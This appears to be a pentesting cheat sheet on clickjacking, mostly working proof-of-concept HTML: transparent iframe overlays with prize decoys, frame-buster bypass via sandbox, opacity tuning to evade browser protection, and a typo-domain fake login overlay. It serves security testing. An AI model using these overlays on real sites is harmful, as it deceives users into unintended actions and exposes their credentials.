Clickjacking

Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.

The victim surfs the attacker’s web page with the intention of interacting with the visible user interface, but is inadvertently performing actions on the hidden page. Using the hidden page, an attacker can deceive users into performing actions they never intended to perform through the positioning of the hidden elements in the web page.

See labs WebSecurityAcademy (PortSwigger) – Clickjacking.
PortSwigger recommends using Burp Clickbandit to create the proof of concept.

Vulnerability description for reporting available in VulnDB (GitHub)

Testing Clickjacking

Browser clickjacking protection might apply threshold-based iframe transparency detection (Chrome v76+). The attacker selects opacity values so that the desired effect is achieved without triggering protection behaviors.

Basic clickjacking with CSRF token protection

The user will click on a button from the vulnerable website but thinks he is interacting with the decoy website.

Replace the target URL in iframe.

<html>
    <head>
        <title>Clickjacking test page</title>
        <style>
            .button {
                padding:10px;
                width:130px;
            }
            #target_website {
                position: relative;
                width: 1000px;
                height: 700px;
                opacity: 0.1;
                z-index: 2;
            }
            #decoy_website {
                position: absolute;
                top: 60px; /* Align with button or link from the target website*/
                left: 550px; /* Align with button or link from the target website*/
                z-index: 1;
            }
        </style>
    </head>
    <body>
        <div id="decoy_website">
            <h1>You won an iPad!</h1>
            <input type="submit" class="button" value="Claim your prize!">
        </div>
        <iframe id="target_website" src="https://www.google.com/maps/embed" scrolling="no" frameborder="none"/>
    </body>
</html>

Clickjacking with form input data prefilled from a URL parameter

Use the basic POC but add parameters in the URL to prefill forms.

<iframe id="target_website" src="https://vulnerable-website?email=hacked%40example.com" scrolling="no" frameborder="none"/>

Clickjacking with a frame buster script

Use the basic POC but add the sandbox attribute to iframe.

<iframe id="target_website" src="https://vulnerable-website?email=hacked@example.com" sandbox="allow-forms" scrolling="no" frameborder="none"/>

Exploiting clickjacking vulnerability to trigger DOM-based XSS

Prerequisite: The application must contain a DOM XSS vulnerability.

Use the prefilled from URL parameter technique and trigger the XSS.

Multistep clickjacking

<html>
    <head>
        <title>Clickjacking test page</title>
        <style>
            #target_website {
                position: relative;
                width: 1000px;
                height: 700px;
                opacity: 0.1;
                z-index: 2;
            }
            #decoy_website_first_click {
                position: absolute;
                top: 515px;
                left: 60px;
                z-index: 1;
            }
            #decoy_website_second_click {
                position: absolute;
                top: 310px;
                left: 200px;
                z-index: 1;
            }
        </style>
    </head>
    <body>
        <div id="decoy_website_first_click">Click me first</div>
        <div id="decoy_website_second_click">Click me next</div>
        <iframe id="target_website" src="https://vulnerable-website/my-account" scrolling="no" frameborder="none"/>
    </body>
</html>

Other Examples

Basic POC

Create a web page clickjacking.html with this content (change iframe src):

<!DOCTYPE html>
<html>
    <head>
        <title>Clickjacking test page</title>
    </head>
    <body>
        <style>
            body { background-color: red; }
            button { background-color: red; position: fixed; left: 100px; top: 200px; width: 100px; }
            iframe { width: 800px; height: 600px; background-color:#ffffff; }
        </style>
        <h3>Malicious website</h3>
        <button onclick="alert('Evil action');">Evil button</button>
        <iframe src="https://en.wikipedia.org/wiki/Clickjacking" />
    </body>
</html>

Realistic POC

Edit /etc/hosts

127.0.0.1 mytargetdomain-with-typo.com

Host the webpage on Apache (python http might not work without file extension)

sudo service apache2 start

This code needs to be adjusted depending on the vulnerable website layout and input parameters. Also change iframe src. Name to file with similar path to original website.

<!DOCTYPE html>
<html>
    <head>
        <title>Clickjacking test page</title>
        <script>
            function evilAction() {
                var u = document.getElementById("u").value;
                var p = document.getElementById("p").value;
                alert("Username: " + u + ", Password: " + p);
            }
        </script>
   </head>
   <body>
        <style>
            iframe {
                border-width: 0px;
                height: 100%;
                left: 0px;
                position: absolute;
                top: 0px;
                width: 100%;
                z-index: -1;
            }
            div.attack {
                background-color: crimson;
                height: 80px;
                left: 352px;
                opacity: 60%;
                position: absolute;
                top: 140px;
                width: 200px;
            }
            .username {
                margin-bottom: 1px;
            }
            .password {
                margin-bottom: 1px;
            }
            button {
                width: 70px;
            }

        </style>
        <iframe class="victim" src="https://en.wikipedia.org/wiki/Clickjacking"></iframe>
        <div class="attack">
            <input type="text" id="u" class="username" value="admin" maxlength="15" size="20"></input>
            <input type="password" id="p" class="password" value="StolenPassword" maxlength="15" size="20"></input>
            <button onclick="evilAction()">Login</button>
        </div>
   </body>
</html>